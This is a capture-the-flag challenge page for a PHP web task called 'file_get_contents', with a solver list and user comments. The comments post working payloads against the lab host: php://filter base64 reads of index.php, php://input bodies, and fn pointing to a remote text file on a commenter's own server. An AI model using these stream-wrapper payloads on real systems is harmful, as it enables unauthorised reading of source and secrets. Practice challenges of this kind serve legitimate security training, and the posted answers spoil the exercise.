file_get_contentsWEB 未解决
分数:
30
金币:
3
题目作者:
harry
一 血:
npfs
一血奖励:
2金币
解 决:
5418
提 示:
描 述:
file_get_contents？？？？
评分(8)
解题动态
huasan2410 攻破了该题 15小时前
yuanchu 攻破了该题 18小时前
VCD 攻破了该题 19小时前
花猫咪 攻破了该题 1天前
gm26ctf 攻破了该题 2天前
kimol 攻破了该题 3天前
nonlvyx 攻破了该题 3天前
qqai 攻破了该题 3天前
white1build 攻破了该题 4天前
lps666 攻破了该题 5天前
AWDAI 攻破了该题 5天前
yt430u 攻破了该题 5天前
wauo3 攻破了该题 5天前
niubill 攻破了该题 5天前
青春小豆 攻破了该题 5天前
Versemos 攻破了该题 6天前
ljjbit 攻破了该题 6天前
MirrorJon 攻破了该题 6天前
bzsy01 攻破了该题 7天前
评论
中年七叔 4年前
举报
我是直接利用 file_get_contents可以读取远程文件内容，kali上开个http，随便创建的txt，fn传我的服务器上的这个txt，这样判断条件为真，就直接显示flag了
我赌你的枪里没有子弹 4年前
举报
?fn=php://filter/read=convert.base64-encode/resource=index.php&ac=。。。。。。。 index.php能读取。。
我赌你的枪里没有子弹 4年前
举报
@z007 base64_encode(file_get_contents("php://filter/read=convert.base64-encode/resource=http://114.67.175.224:16878/index.php"));
z007 4年前
举报
你好，可以详述一下吗？ac值怎么得到index.php的base64呢？
spiritboy 4年前
举报
伪协议作为fn秒出，呜我的金币。。。
Inf0 4年前
举报
rnm 退钱
落日星辰 4年前
举报
?ac=bugku&fn=flag.txt
夜雨 4年前
举报
向自己网站构造一个文本文件。只要内容和ac对应就行了 比如我的就是 /?ac=test&fn=https://yeyusmile.top/upload/test.txt
我赌你的枪里没有子弹 4年前
举报
index.php就能读取到，不用自己构造。
最爱吃兽奶 4年前
举报
方法1：http://114.67.175.224:10746/?ac=bugku&fn=flag.txt 方法2：http://114.67.175.224:10746/?ac=flag&fn=php://input，burp数据包里面加句flag就行 不蟹
我赌你的枪里没有子弹 4年前
举报
方法2：?fn=php://filter/read=convert.base64-encode/resource=index.php&ac=[index.php base64编码]
xiaosi429 4年前
举报
dirsearch
树木有点绿 4年前
举报
学到了
白猫a 3年前
举报
看到树神了
Z5bra 4年前
举报
补了下数据流和I/O模型，好题